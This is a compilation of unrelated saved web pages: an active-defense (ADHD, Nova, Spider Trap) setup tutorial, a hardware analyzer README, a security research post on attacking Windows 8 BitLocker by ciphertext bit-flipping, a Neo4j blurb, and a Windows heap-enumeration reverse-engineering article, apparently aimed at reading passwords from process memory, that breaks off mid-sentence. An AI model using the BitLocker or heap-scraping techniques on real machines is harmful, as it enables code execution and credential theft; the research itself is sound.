**ADHD installation tips**

Be sure to install git on your VM via sudo apt-get install git, execute mkdir
ADHD, then cd ADHD, followed by one big bundle of git cloning joy \(copy and
paste this big boy as a whole\):

git clone https://github.com/trustedsec/artillery/ artillery/&git clone
https://github.com/chrisbdaemon/BearTrap/ BearTrap/&git clone
https://bitbucket.org/ethanr/decloak decloak/&git clone
https://bitbucket.org/LaNMaSteR53/honeybadger honeybadger/&git clone
https://bitbucket.org/LaNMaSteR53/pushpin pushpin/&git clone
https://bitbucket.org/ethanr/spidertrap spidertrap/&git clone
https://bitbucket.org/ethanr/webbugserver webbugserver/&git clone
https://bitbucket.org/ethanr/weblabyrinth weblabyrinth/

Nova is installed as a separate process as it’s a bigger app with a honeyd
dependency**.** I’m hosting the installation steps on my website  but to grab
Nova and Honeyd issue the following commands from your ADHD directory:

git clone git://github.com/DataSoft/Honeyd.git

git clone git://github.com/DataSoft/Nova.git Nova

cd Nova

git submodule init

git submodule update

The ADHD SourceForge Wiki  includes individual pages for each script and
details regarding their configuration and use**.** We’ll cover highlights here
but be sure to read each in full for yourself**.**

**ADHD**

I’ve chosen a select couple of ADHD apps to dive in to starting with Nova**.**

Nova is an open-source anti-reconnaissance system designed to deny attackers
access to real network data while providing false information regarding the
number and types of systems connected to the network**.** Nova prevents and
detects snooping by deploying realistic virtualized decoys while identifying
attackers via suspicious communication and activity thus providing sysadmins
with better situational awareness**.** Nova does this in part with haystacks,
as in find the needle in the**.**

Assuming you followed the Nova installation guidance provided above, simply
run quasar at a command prompt then browse to https://127**.** 0**.** 0.1:8080
. Login with username nova and password toor. You’ll be prompted with the
Quick Setup Wizard, do not use it**.**

From a command prompt execute novacli start haystack debug to ensure Haystack
is running**.**

Click Haystacks under Configuration in the menu and define yourself a Haystack
as seen in Figure 1**.**

<img src='img/Temp2_3933.png' />  
---  
FIGURE 1: Nova Haystack configuration  
You can also add Profiles to emulate hosts that appear to attackers as very
specific infrastructure such as a Cisco Catalyst 3500XL switch as seen in
Figure 2**.**

<img src='img/Temp2_3935.png' />  
---  
FIGURE 2: Nova Profile configuration  
Assuming Packet Classifier and Haystack status show as online, you can click
Packet Classifier from the menu and begin to see traffic as noted in Figure
3**.**

<img src='img/Temp2_3934.png' />  
---  
FIGURE 3: Nova Packet Classifier \(traffic overview\)  
What’s really cool here is that you can right-click on a suspect and train
Nova to identify that particular host as malignant or benign per Figure 4**.**

<img src='img/Temp2_3938.png' width='320' height='89' />  
---  
FIGURE 4: Nova training capabilities  
Over time training Nova will create a known good baseline for trusted hosts
and big red flags for those that are evil**.** As you can see in Figure 5,
you’ll begin to see Honeyd start killing attempted connections based on what
it currently understands as block-worthy**.** Use the training feature to
optimize and tune to your liking**.**

<img src='img/Temp2_3937.png' width='320' height='146' />  
---  
FIGURE 5: Honeyd killing attempted connections  
Nova’s immediately interesting and beneficial; you’ll discern useful results
very quickly**.**

The other ADHD app I find highly entertaining is Spider Trap**.** I come out
on both sides of this argument. On one hand, until very recently I worked in
the Microsoft organization that operates Bing**.** On the other hand, as
website operator, I find crawler & spider traffic annoying and excessive
\(robots.txt is your friend assuming it’s honored\)**.** Bugs you too and you
want to get a little payback? Expose Spider Trap where you know crawlers will
land, either externally for big commercial crawlers, or internally where your
pentesting friends may lurk**.** It’s just a wee Python script and you can run
as simply as python2 spidertrap**.** py. I love Ethan’s idea to provide Spider
Trap with a list of links**.** He uses the big list from OWASP DirBuster like
this, python2 spidertrap**.** py DirBuster-Lists/directory-list-2**.**
3-big.txt, but that could just as easily be any text list**.** Crawlers and
spiders will loop ad infinitum achieving nothing**.** Want to blow an attacker
or pentester’s mind? Use the list of usernames pulled from /etc/passwd I’ve
uploaded  for you as etcpasswd.txt**.** Download etcpasswd.txt to the Spider
Trap directory, then add the following after line 66 of spidertrap**.** py:

\#Attacker/pentester misdirect

self.wfile.write\("

"\)

Then run it like this: python2 spidertrap**.** py etcpasswd.txt.

The result will be something that will blow a scanner or manual reviewer’s
mind**.** They’ll think they’ve struck pay dirt and have some weird awesome
directory traversal bug at hand as seen in Figure 6**.**

<img src='img/Temp2_3936.png' />  
---  
FIGURE 6: Spider Trap causing confusion  
Spider Trap runs by default on port 8000 but if you want to run it on 80 or
something else just edit the script**.** Keep in mind if will fight with
Apache if you try to use 80 and don’t service apache2 stop**.**

You can have a lot of fun at someone else’s expense with ADHD**.** Use it
well, use it safely, but enjoy the prospect of countering your digital
assailants in some manner**.**

**In Conclusion**

In closing, for this three part series I’ve defined C3CM as methods by which
_to identify, interrupt, and counter the command, control, and communications
capabilities of our digital assailants**.**_

With ADHD, the counter phase of our C3CM concept, is not only downright fun,
but it becomes completely realistic to imagine taking active \(legal\) steps
in defending your networks**.** ADHD gives me the energy to do anything and
the focus to do nothing**.** Wait…never mind. Next month we’ll discuss…um, I
can’t decide so you get to help**\!**

For November, to celebrate seven years of toolsmith , which of the following
three topics should toolsmith cover**?**

1\) CuckooSandbox

3\) OWASP Xenotix XSS Exploit Framework

4\) Microsoft Network Monitor

Tweet your choice to me via @holisticinfosec and email if you have questions
regarding C3CM via russ at holisticinfosec dot org**.**

Cheers…until next month.

**Acknowledgements**

John Strand and Ethan Robish, Black Hills Information Security

****

# james-tate/IEBusAnalyzer

**Created:**| _6/29/2017 4:06:12 PM_  
---|---  
**Updated:**| _6/29/2017 4:06:12 PM_  
**Author:**| __  
**Tags:**| __  
  

  

###  readme.md

# IEBus analyzer using the Saleae Analyzer SDK

An IEBus analyzer for the digital side of an IEBus driver. The NEC PD72042B
protocol documentation was used in the formatting of the analyzer.

To use: \(building only tested on linux\)

  * cd IEBusAnalyzer
  * git submodule init
  * git submodule update
  * python build\_analyzer.py

For release

  * copy /release/libIEBusAnalyzer.so to LogicX.X.X/Analyzers/
  * open Saleae Logic x.x.x program

For debug

  * open Saleae Logic x.x.x program
  * choose Options->Preferences "upper right corner"
  * under Developer tab set path to \[yourpath\]/IEBusAnalyzer/release
  * save and restart Logic
  * choose the IEBusAnalyzer under Analyzers->Show more analyzers

<img src='img/demo1.png' width='512' height='62' alt='1' /> <img
src='img/demo2.png' width='598' height='175' alt='2' />

## Old Saleae Stuff

To build on Windows, open the visual studio project in the Visual Studio
folder, and build. The Visual Studio solution has configurations for 32 bit
and 64 bit builds. You will likely need to switch the configuration to 64 bit
and build that in order to get the analyzer to load in the Windows software.

To build on Linux or OSX, run the build\_analyzer.py script. The compiled
libraries can be found in the newly created debug and release folders.

[code]

    python build_analyzer.py
    
[/code]

To debug on Windows, please first review the article here:

How do I develop custom analyzers for the Logic software on Windows?

On Windows, it is not possible to attach a debugger to the latest software. In
order to debug custom analyzers on Windows, you need to use an older version
of the Windows software. Specifically, you will need the Saleae Logic 1.1.18
Windows 32 bit standalone release. You can find it here:

Older Saleae Logic Beta Downloads

You will also need the 1.1.14 SDK, the last SDK release to support software
versions 1.1.14-1.1.18. That is available on a separate branch of the Saleae
AnalyzerSDK Github repository. Simply change the submodule configuration to
point to that branch, and the existing visual studio project will just work.
Be sure to only compile for 32 bit, since the 1.1.14 SDK was released before
Saleae began targeting 64 bit Windows. This is also why the 32 bit standalone
version of the 1.1.18 software is required. It's also worth noting that you
should use a \#define and \#ifdef to remove the contents of your Analyzer's
GenerateFrameTabularText methods, because the methods ClearTabularText and
AddTabularText were not yet present in the 1.1.14 SDK.

The Sample Analyzer Project also contains a branch, 1.1.14-for-win32-debug,
which already contains the updated git submodule branch. Simply merge your
changes into that branch, and then you will not need to switch submodule
branches.

In the future, I would like to update this so that no branch changes are
required, and the visual studio project just contains configurations for both
the latest SDK and the 1.1.14 SDK.

  

# Code Execution In Spite Of BitLocker

**Created:**| _12/8/2014 4:56:53 PM_  
---|---  
**Updated:**| _12/8/2014 4:56:53 PM_  
**Author:**| __  
**Tags:**| __  
  

# Code Execution In Spite Of BitLocker

Dec 8, 2014

Disk Encryption is “a litany of difficult tradeoffs and messy compromises” as
our good friend and mentor Tom Ptacek put it in his blog post. That sounds
depressing, but it’s pretty accurate - trying to encrypt an entire hard drive
is riddled with constraints. For example:

  * Disk Encryption must be really, really fast. Essentially, if the crypto happens slower than the disk read speed \(said another way, if the CPU is a bottleneck\) - your solution is untenable to the mass market
  * It must support random read and write access - any sector may be read at any time, and any sector may be updated at any time
  * You really need to avoid updating multiple sectors for a single write - if power is lost during the operation, the inconsistencies will not be able to be resolved easily, if at all
  * People expect hard disks to provide roughly the amount of advertised space. Stealing significant amounts of space for ‘overhead’ is not feasible. \(This goes doubly so if encryption is applied after operating system installation - there may not be space to steal\!\)

The last two constraints mean that the ciphertext must be the exact same size
as the plaintext. There’s simply no room to store IVs, nonces, counters, or
authentication tags. And without any of those things, there’s no way to
provide cryptographic authentication in any of the common ways we know how to
provide it. No HMACs over the sector and no room for a GCM tag \(or OCB, CCM,
or EAX, all of which expand the message\). Which brings us to…

### Poor-Man’s Authentication

Because of the constraints imposed by the disk format, it’s extremely
difficult to find a way to correctly authenticate the ciphertext. Instead,
disk encryption relies on ‘poor-man’s authentication’.

> The best solution is to use poor-man’s authentication: encrypt the data and
> trust to the fact that changes in the ciphertext do not translate to
> semantically sensible changes to the plaintext. For example, an attacker can
> change the ciphertext of an executable, but if the new plaintext is
> effectively random we can hope that there is a far higher chance that the
> changes will crash the machine or application rather than doing something
> the attacker wants.
> We are not alone in reaching the conclusion that poor-man’s authentication
> is the only practical solution to the authentication problem. All other
> disk-level encryption schemes that we are aware of either provide no
> authentication at all, or use poor-man’s authentication. To get the best
> possible poor-man’s authentication we want the BitLocker encryption
> algorithm to behave like a block cipher with a block size of 512–8192 bytes.
> This way, if the attacker changes any part of the ciphertext, all of the
> plaintext for that sector is modified in a random way.
That excerpt comes from an excellent paper by Niels Ferguson of Microsoft in
2006 explaining how BitLocker works. The property of changing a single bit,
and it propagating to many more bits, is diffusion and it’s actually a design
goal of block ciphers in general. When talking about disk encryption in this
post, we’re going to use diffusion to refer to how much changing a single bit
\(or byte\) on an encrypted disk affects the resulting plaintext.

### BitLocker in Windows Vista & 7

When BitLocker was first introduced, it operated in AES-CBC with something
called the Elephant Diffuser. The BitLocker paper is an excellent reference
both on how Elephant works, and why they created it. At its heart, the goal of
Elephant is to provide as much diffusion as possible, while still being highly
performant.

The paper also includes Microsoft’s Opinion of AES-CBC Mode used by itself.
I’m going to just quote:

> Any time you want to encrypt data, AES-CBC is a leading candidate. In this
> case it is not suitable, due to the lack of diffusion in the CBC decryption
> operation. If the attacker introduces a change d in ciphertext block i, then
> plaintext block i is randomized, but plaintext block i + 1 is changed by d.
> In other words, the attacker can flip arbitrary bits in one block at the
> cost of randomizing the previous block. This can be used to attack
> executables. You can change the instructions at the start of a function at
> the cost of damaging whatever data is stored just before the function. With
> thousands of functions in the code, it should be relatively easy to mount an
> attack.
> The current version of BitLocker \[Ed: BitLocker in Vista and Windows 7\]
> implements an option that allows customers to use AES-CBC for the disk
> encryption. This option is aimed at those few customers that have formal
> requirements to only use government-approved encryption algorithms. Given
> the weakness of the poor-man’s authentication in this solution, we do not
> recommend using it.
### BitLocker in Windows 8 & 8.1

BitLocker in Windows 8 and 8.1 uses AES-CBC mode, without the diffuser, by
default. It’s actually not even a choice, the option is entirely gone from the
Group Policy Editor. \(There is a second setting that applies to only “Windows
Server 2008, Windows 7, and Windows Vista” that lets you choose Diffuser.\)
Even using the commandline there’s no way to encrypt a new disk using Diffuser
- Manage-BDE says “The encryption methods aes128\_Diffuser and
aes256\_Diffuser are deprecated. Valid volume encryption methods: aes128 and
aes256.” However, we can confirm that the code to use Diffuser is still
present - disks encrypted under Windows 7 with Diffuser continue to work fine
on Windows 8.1.

AES-CBC is the exact mode that Microsoft considered \(quoting from above\)
“unsuitable” in 2006 and “recommended against”. They explicitly said “it
should be relatively easy to mount an attack”.

And it is.

As written in the Microsoft paper, the problem comes from the fact that an
attacker can modify the ciphertext and perform very fine-grained modification
of the resulting plaintext. Flipping a single bit in the ciphertext results
reliably scrambles the next plaintext block in an unpredictable way \(the
rainbow block\), and flips the exact same bit in the subsequent plaintext
block \(the red line\):

<img src='img/Temp2_1507.png' alt='CBC Mode Bit Flipping Propagation' />

This type of fine-grained control is exactly what Poor Man’s Authentication is
designed to combat. We want any change in the ciphertext to result in entirely
unpredictable changes in the plaintext and we want it to affect an extremely
large swath of data. This level of fine-grained control allows us to perform
targeted scrambling, but more usefully, targeted bitflips.

But what bits do we flip? If the disk is encrypted, don’t we lack any idea of
where anything interesting is stored? Yes and no. In our testing, two
installations of Windows 8 onto the same format of machine put the system DLLs
in identical locations. This behavior is far from guarenteed, but if we do
know where a file is expected to be, perhaps through educated guesswork and
installing the OS on the same physical hardware, then we will know the
location, the ciphertext, and the plaintext. And at that point, we can do more
than just flip bits, we can completely rewrite what will be decrypted upon
startup. This lets us do much more than what people have suggested around
changing a branch condition: we just write arbitrary assembly code. So we did.
Below is a short video that shows booting up a Virtual Machine showing a
normal unmodified BitLockered disk on Windows 8, shutting it down and
modifying the ciphertext on the underlying disk, starting it back up, and
achieving arbitrary code execution.

This is possible because we knew the location of a specific file on the disk
\(and therefore the plaintext\), calculated what ciphertext would be necessary
to write out desired shellcode, and wrote it onto the disk. \(The particular
file we chose did move around during installation, so we did ‘cheat’ a little
- with more time investment, we could change our target to a system dll that
hasn’t been patched in Windows Updates or moved since installation.\) Upon
decryption, 16 bytes were garbled, but we chose the position and assembly code
carefully such that the garbled blocks were always skipped over. To give
credit where others have demonstrated similar work, this is actually the same
type of attack that Jakob Lell demonstrated against LUKS partitions last year.

### XTS Mode

The obvious question comes up when discussing disk encryption modes: why not
use XTS, a mode specifically designed for disk encryption and standardized and
blessed by NIST? XTS is used in LUKS and Truecrypt, and prevents targeted
bitflipping attacks. But it’s not perfect. Let’s look at what happens when we
flip a single bit in ciphertext encrypted using XTS:

<img src='img/Temp2_1506.png' alt='XTS Mode Bit Flipping Propagation' />

A single bit change completely scrambles the full 16 byte block of the
ciphertext, there’s no control over the change. That’s good, right? It’s not
bad, but it’s not as good as it could be. Unfortunately, XTS was not
considered in the original Elephant paper \(it was relatively new in 2006\),
so we don’t have their thoughts about it in direct comparison to Elephant. But
the authors of Elephant evaluated another disk encryption mode that had the
same property:

> LRW provides some level of poor-man’s authentication, but the relatively
> small block size of AES \(16 bytes\) still leaves a lot of freedom for an
> attacker. For example, there could be a configuration file \(or registry
> entry\) with a value that, when set to 0, creates a security hole in the OS.
> On disk the setting looks something like “enableSomeSecuritySetting=1”. If
> the start of the value falls on a 16-byte boundary and the attacker
> randomizes the plaintext value, there is a 2−16 chance that the first two
> bytes of the plaintext will be 0x30 0x00 which is a string that encodes the
> ASCII value ’0’.
> For BitLocker we want a block cipher whose block size is much larger.
Furthermore, they elaborate upon this in their comments to NIST on XTS,
explicitly calling out the small amount of diffusion. A 16-byte scramble is
pretty small. It’s only 3-4 assembly instructions. To compare how XTS’
diffusion compares to Elephant’s, we modified a single bit on the disk of a
BitLockered Windows 7 installation that corresponded to a file of all zeros.
The resulting output shows that 512 bytes \(the smallest sector size in use\)
were modified:

<img src='img/Temp2_1505.png' alt='Elephant Bit Flipping Propagation' />

This amount of diffusion is obviously much larger than 16 bytes. It’s also not
perfect - a 512 byte scramble, in the right location, could very well result
in a security bypass. Remember, this is all ‘Poor Man’s Authentication’ - we
know the solution is not particularly strong, we’re just trying to get the
best we can. But it’s still a lot harder to pop calc with.

### Conclusion

From talking with Microsoft about this issue, one of the driving factors in
this change was performance. Indeed, when BitLocker first came out and was
documented, the paper spends a considerable amount of focus on evaluating
algorithms based on cycles/byte. Back then, there were no AES instructions
built into processors - today there are, and it has likely shifted the bulk of
the workload for BitLocker onto the Diffuser. And while we think of computers
as becoming more powerful since 2006 - tablets, phones, and embedded devices
are not the ‘exception’ but a major target market.

Using Full Disk Encryption \(including BitLocker in Windows 8\) is clearly
better than not - as anyone’s who had a laptop stolen from a rental car knows.
Ultimately, I’m extremely curious what requirements the new BitLocker design
had placed on it. Disk Encryption is hard, and even XTS \(standardized by
NIST\) has significant drawbacks. With more information about real-world
design constraints, the cryptographic community can focus on developing
something better than Elephant or XTS.

I’d like to thank Kurtis Miller for his help with Windows shellcode, Justin
Troutman for finding relevant information, Jakob Lell for beating me to it by
a year, DaveG for being DaveG, and the MSRC.

# neo4j open source nosql graph database »

**Created:**| _6/20/2010 10:28:52 PM_  
---|---  
**Updated:**| _6/20/2010 10:29:11 PM_  
**Author:**| __  
**Tags:**| _Databases awesome information systems_  
  

## HOME

Neo4j is a **graph database**. It is an embedded, disk-based, fully
transactional Java persistence engine that stores data structured in graphs
rather than in tables. A graph \(mathematical lingo for a network\) is a
flexible data structure that allows a more agile and rapid style of
development.

# Faster Method to Enumerate Heaps on Windows - www.SecurityXploded.com

**Created:**| _5/15/2011 7:42:07 PM_  
---|---  
**Updated:**| _5/15/2011 7:55:19 PM_  
**Author:**| __  
**Tags:**| _bookmark windows security awesome Heap_  
  
|  
---  
Faster Method to Enumerate Heaps on Windows  
Introduction  
This article explains a fast method of enumerating heaps on Windows.
Traditional Windows heap enumeration functions are slower and takes lot of
time while traversing large number of heap blocks. This article uncovers the
reason behind it and shows you a new efficient way of enumerating process
heaps based on reverse engineering of Windows heap API functions.  
Reason Behind the Research  
Some days back I was doing password strength related research on Yahoo
Messenger. It used to store the password on the heap and I wrote an sample
code using normal heap functions to locate and retrieve the password. The
password was basically stored on one of the heap block which was near the end
of 60,000th block. So I had to traverse all the 60,000 heap blocks to read the
target block and the execution took more than 10 minutes..\! I tried running
the program on multiple machines but no change. Naturally I was getting
irritated as I had to wait for so long just to see the results.  
  
To find a way around this problem, I tried looking on the internet for answers
but found nothing. Then I finally resort to finding the truth myself and
started reverse engineering the Windows heap functions. Finally after few
hours of work, I discovered the reason behind the delay and wrote my own tool
which enumerated the complete heaps within few seconds.  
Windows Heap Enumeration  
Typical heap traversing process on Windows involves following steps  
  
  
  * Initialization  
CreateToolhelp32Snapshot function used to take snapshot of the specified
process. This is the first function called before using any of the heap
enumeration functions.  

  

  * Listing heap nodes of process  
After the initialization, Heap32ListFirst & Heap32ListNext functions are used
to retrieve all heap nodes within the process.  

  

  * Enumerating heap blocks within each node  
Heap32First & Heap32Next functions lists all the heap blocks within each node

  
This enumeration method does not present any problem when listing small number
of heap blocks. However when it comes to enumerating large number of heap
blocks \(more than 50,000\) in each node then it takes more than 10 minutes.
This delay cannot be justified in today's computing world.  
Mystery Behind Slow Heap Functions  
The reason lies in the poor implementation of Heap32First and Heap32Next
functions. Code for both the functions are almost similar except some
arithmetic routines used to move to right block. Here is the assembly code for
Heap32Next function from kernel32.dll.Let us see what is happening behind the
screen...  
| .text:7C863BF8 ; BOOL \_\_stdcall Heap32Next\(LPHEAPENTRY32 lphe\)  
.text:7C863BF8 public \_Heap32Next@4  
.text:7C863BF8 \_Heap32Next@4 proc near  
.text:7C863BF8  
.text:7C863BF8 lphe = dword ptr 8  
.text:7C863BF8  
.text:7C863BF8 mov edi, edi  
.text:7C863BFA push ebp  
.text:7C863BFB mov ebp, esp  
.text:7C863BFD push ebx  
.text:7C863BFE push esi  
.text:7C863BFF mov esi, \[ebp+lphe\]  
.text:7C863C02 test esi, esi  
.text:7C863C04 push edi  
.text:7C863C05 jz loc\_7C863D0C  
.text:7C863C0B cmp dword ptr \[esi\], 24h  
.text:7C863C0E jnz loc\_7C863D0C  
.text:7C863C14 push 0  
.text:7C863C16 push 0  
.text:7C863C18 call ds:\_\_imp\_\_RtlCreateQueryDebugBuffer@8  
.text:7C863C1E mov ebx, eax  
.text:7C863C20 test ebx, ebx  
.text:7C863C22 jnz short loc\_7C863C2E  
.text:7C863C24 mov eax, 0C0000001h  
.text:7C863C29 jmp loc\_7C863D18  
---  
First it invokes RtlCreateQueryDebugBuffer\(0, FALSE\) which allocates buffer
for storing heap data.On success, it returns pointer to allocated debug buffer
which is stored in ebx. If the function fails to allocate buffer then it
jumpts to the end of the function otherwise continues with the code below.  
| .text:7C863C2E  
.text:7C863C2E loc\_7C863C2E: ; CODE XREF: Heap32Next\(x\)+2Aj  
.text:7C863C2E push ebx ; Debug Buffer pointer  
.text:7C863C2F push 14h ; PDI\_HEAPS | PDI\_HEAP\_BLOCKS  
.text:7C863C31 push dword ptr \[esi+1Ch\] ; Process id  
.text:7C863C34 call ds:\_\_imp\_\_RtlQueryProcessDebugInformation@12  
.text:7C863C3A mov edi, eax  
.text:7C863C3C test edi, edi  
.text:7C863C3E jge short loc\_7C863C4D ; continue next  
.text:7C863C40 push ebx  
.text:7C863C41 call ds:\_\_imp\_\_RtlDestroyQueryDebugBuffer@4  
.text:7C863C47 push edi  
.text:7C863C48 jmp loc\_7C863D11 ; exit  
---  
Next RtlQueryProcessDebugInformation is called to load all heap blocks of the
process. This function in fact loads entire heap nodes and corresponding heap
blocks of the process.  
| .text:7C863C4D  
.text:7C863C4D loc\_7C863C4D: ; CODE XREF: Heap32Next\(x\)+46j  
.text:7C863C4D mov ecx, \[ebx+38h\] ; ecx = heap information structure  
.text:7C863C50 mov edx, \[ecx\] ;edx = count of heap nodes within process  
.text:7C863C52 xor eax, eax  
.text:7C863C54 test edx, edx  
.text:7C863C56 jbe short loc\_7C863C6A  
.text:7C863C58 mov edi, \[esi+20h\]  
.text:7C863C5B add ecx, 4 ;ecx now point to first heap node  
---  
Debug Buffer contains the pointer to heap information structure at offset
0x38. First parameter of this heap structure is node count and after that it
contains array of DEBUG\_HEAP\_INFORMATION structure which represent each heap
node. The heap information structure is shown below.  
| Struct HeapInfo  
\{  
DWORD heapNodeCount;  
DEBUG\_HEAP\_INFORMATION heapNode\[heapNodeCount\];  
\};  
---  
Once the node count is retrieved ecx is incremented by 4 to point to the first
heap node.  
| .text:7C863C5E  
.text:7C863C5E loc\_7C863C5E: ; CODE XREF: Heap32Next\(x\)+70j  
.text:7C863C5E cmp \[ecx\], edi  
.text:7C863C60 jz short loc\_7C863C6A  
.text:7C863C62 inc eax  
.text:7C863C63 add ecx, 40h ; Move to the next heap node  
.text:7C863C66 cmp eax, edx ; Check if current count > total heap node count  
.text:7C863C68 jb short loc\_7C863C5E  
  
---  
This is simple loop which checks if we are at the right heap node. If not then
ecx is incremented by size of DEBUG\_HEAP\_INFORMATION to move to the next
heap node. Here is its structure information.  
| // It represents each heap node  
typedef struct \_DEBUG\_HEAP\_INFORMATION  
\{  
ULONG Base; // 0x00  
ULONG Flags; // 0x04  
USHORT Granularity; // 0x08  
USHORT Unknown; // 0x0A  
ULONG Allocated; // 0x0C  
ULONG Committed; // 0x10  
ULONG TagCount; // 0x14  
ULONG BlockCount; // 0x18  
ULONG Reserved\[7\]; // 0x1C  
PVOID Tags; // 0x38  
PVOID Blocks; // 0x3C Heap block pointer for this node.  
\} DEBUG\_HEAP\_INFORMATION, \*PDEBUG\_HEAP\_INFORMATION;  
  
---  
.text:7C863C6A  
.text:7C863C6A loc\_7C863C6A: ; CODE XREF: Heap32Next\(x\)+5Ej  
.text:7C863C6A ; Heap32Next\(x\)+68j  
.text:7C863C6A cmp eax, edx  
.text:7C863C6C jnb short loc\_7C863CB8 ; did not find the right node, so exit  
.text:7C863C6E inc dword ptr \[esi+18h\] ; HEAPENTRY32->dwResvd++  
.text:7C863C71 mov ecx, \[esi+18h\]  
.text:7C863C74 shl eax, 6  
.text:7C863C77 mov edi, eax  
.text:7C863C79 mov eax, \[ebx+38h\]  
.text:7C863C7C lea edx, \[edi+eax\]  
.text:7C863C7F cmp ecx, \[edx+1Ch\] ; Check if current count > total block
count  
.text:7C863C82 jnb short loc\_7C863CB8 ; take the exit  
.text:7C863C84 mov eax, ecx  
.text:7C863C86 shl eax, 4  
.text:7C863C89 add eax, \[edx+40h\] ; now eax points to current heap block  
.text:7C863C8C test byte ptr \[eax+4\], 2  
.text:7C863C90 jz short loc\_7C863CC8  
Once the right heap node is found, it uses the curHeapNode->Blocks pointer to
traverse the heap blocks to find the current heap block. Here HEAPENTRY32->
dwResvd is internally used to keep track of block count.  
| .text:7C863C92  
.text:7C863C92 loc\_7C863C92: ; CODE XREF: Heap32Next\(x\)+BEj  
.text:7C863C92 mov edx, \[ebx+38h\]  
.text:7C863C95 movzx edx, word ptr \[edi+edx+0Ch\] ; edx =
curHeapNode->Granularity  
.text:7C863C9A add edx, \[eax+0Ch\] ; edx += curBlock->address  
.text:7C863C9D mov \[esi+8\], edx ; HEAPENTRY32->dwAddress = edx;  
.text:7C863CA0 mov edx, \[ebx+38h\]  
.text:7C863CA3 cmp ecx, \[edi+edx+1Ch\] ; check block count  
.text:7C863CA7 jnb short loc\_7C863CB8 ; Go to exit  
.text:7C863CA9 inc ecx  
.text:7C863CAA add eax, 10h ; move to next block  
.text:7C863CAD mov \[esi+18h\], ecx ; HEAPENTRY32->dwResvd = ecx  
.text:7C863CB0 test byte ptr \[eax+4\], 2 ; curBlock->flag & 2  
.text:7C863CB4 jz short loc\_7C863CCE  
.text:7C863CB6 jmp short loc\_7C863C92 ; continue until valid block found  
---  
The above code looks for valid heap block based on certain flags. Each heap
block has following structure  
| struct HeapBlock  
\{  
DWORD size;  
DWORD flag;  
DWORD unknown;  
DWORD address;  
\};  
---  
.text:7C863CB8  
.text:7C863CB8 loc\_7C863CB8: ; CODE XREF: Heap32Next\(x\)+74j  
.text:7C863CB8 ; Heap32Next\(x\)+8Aj ...  
.text:7C863CB8 push ebx  
.text:7C863CB9 call ds:\_\_imp\_\_RtlDestroyQueryDebugBuffer@4  
.text:7C863CBF push 12h ; dwErrCode  
.text:7C863CC1 call \_SetLastError@4 ; SetLastError\(x\)  
.text:7C863CC6 jmp short loc\_7C863D16  
The above code is error handler which just destroys the buffer created at the
beginning, sets the last error code and returns to the caller.  
| .text:7C863CC8  
.text:7C863CC8 loc\_7C863CC8: ; CODE XREF: Heap32Next\(x\)+98j  
.text:7C863CC8 mov ecx, \[esi+0Ch\] ; ecx = HEAPENTRY32->dwBlockSize  
.text:7C863CCB add \[esi+8\], ecx ; HEAPENTRY32->dwAddress += ecx  
---  
For the first block, if the value curBlock->flag & 2 \!= 2 then the current
block address is computed by adding previos block address and block size.  
| .text:7C863CCE  
.text:7C863CCE loc\_7C863CCE: ; CODE XREF: Heap32Next\(x\)+BCj  
.text:7C863CCE mov ecx, \[eax\]  
.text:7C863CD0 xor edi, edi  
.text:7C863CD2 mov \[esi+0Ch\], ecx ; HEAPENTRY32->dwBlockSize = ecx  
.text:7C863CD5 mov ax, \[eax+4\]  
.text:7C863CD9 inc edi  
.text:7C863CDA test al, 0F1h  
.text:7C863CDC jnz short loc\_7C863CFE  
.text:7C863CDE test ah, 2  
.text:7C863CE1 jnz short loc\_7C863CFE  
.text:7C863CE3 test al, 20h  
.text:7C863CE5 jz short loc\_7C863CF0  
.text:7C863CE7 mov dword ptr \[esi+10h\], 4 ; HEAPENTRY32->dwFlags=4  
.text:7C863CEE jmp short loc\_7C863D01  
.text:7C863CF0  
.text:7C863CF0 loc\_7C863CF0: ; CODE XREF: Heap32Next\(x\)+EDj  
.text:7C863CF0 test ah, 1  
.text:7C863CF3 jz short loc\_7C863D01  
.text:7C863CF5 mov dword ptr \[esi+10h\], 2 ; HEAPENTRY32->dwFlags=2  
.text:7C863CFC jmp short loc\_7C863D01  
.text:7C863CFE  
.text:7C863CFE loc\_7C863CFE: ; CODE XREF: Heap32Next\(x\)+E4j  
.text:7C863CFE ; Heap32Next\(x\)+E9j  
.text:7C863CFE mov \[esi+10h\], edi ; HEAPENTRY32->dwFlags=4  
---  
Once the right heap block is found, its type is determined which can be either
LF32\_FIXED, LF32\_FREE or LF32\_MOVEABLE. Using this information,
HEAPENTRY32->dwFlags value is updated.  
| .text:7C863D01  
.text:7C863D01 loc\_7C863D01: ; CODE XREF: Heap32Next\(x\)+F6j  
.text:7C863D01 ; Heap32Next\(x\)+FBj ...  
.text:7C863D01 push ebx  
.text:7C863D02 call ds:\_\_imp\_\_RtlDestroyQueryDebugBuffer@4  
.text:7C863D08 mov eax, edi  
.text:7C863D0A jmp short loc\_7C863D18  
---  
At the end, the allocated buffer is destroyed by calling the function
RtlDestroyQueryDebugBuffer.  
| .text:7C863D0C  
.text:7C863D0C loc\_7C863D0C: ; CODE XREF: Heap32Next\(x\)+Dj  
.text:7C863D0C ; Heap32Next\(x\)+16j  
.text:7C863D0C push 0C0000004h  
.text:7C863D11  
.text:7C863D11 loc\_7C863D11: ; CODE XREF: Heap32Next\(x\)+50j  
.text:7C863D11 call \_BaseSetLastNTError@4 ; BaseSetLastNTError\(x\)  
.text:7C863D16  
.text:7C863D16 loc\_7C863D16: ; CODE XREF: Heap32Next\(x\)+CEj  
.text:7C863D16 xor eax, eax  
.text:7C863D18  
.text:7C863D18 loc\_7C863D18: ; CODE XREF: Heap32Next\(x\)+31j  
.text:7C863D18 ; Heap32Next\(x\)+112j  
.text:7C863D18 pop edi  
.text:7C863D19 pop esi  
.text:7C863D1A pop ebx  
.text:7C863D1B pop ebp  
.text:7C863D1C retn 4  
.text:7C863D1C Heap32Next@4 endp  
---  
If there is an error then function BaseSetLastNTError is called to set last
error. Otherwise function returns normally.  
  
To summarize, following action takes place during execution of Heap32Next
function  
  
  * First RtlCreateQueryDebugBuffer is invoked to allocate large buffer to store entire process heap data.  

  * Next it calls RtlQueryProcessDebugInformation to load the all the heap data into the buffer.  

  * After that it traverses the heap nodes to find the right heap node.  

  * Then it traces through the all the heap blocks in that heap node to find the next valid heap block.  

  * At the end RtlDestroyQueryDebugBuffer is used to free the allocated buffer.

  
This sequence is executed every time Heap32Next is called. Assume that you are
enumerating large number of heap blocks \(say 50,000\) then for every heap
block, buffer is created, entire process heap is loaded, traversed and finally
the buffer is destroyed. This is the reason behind the long delay while
enumerating thousands of heap blocks.  
  
Clearly, its the poor design, one could have just done the allocation &
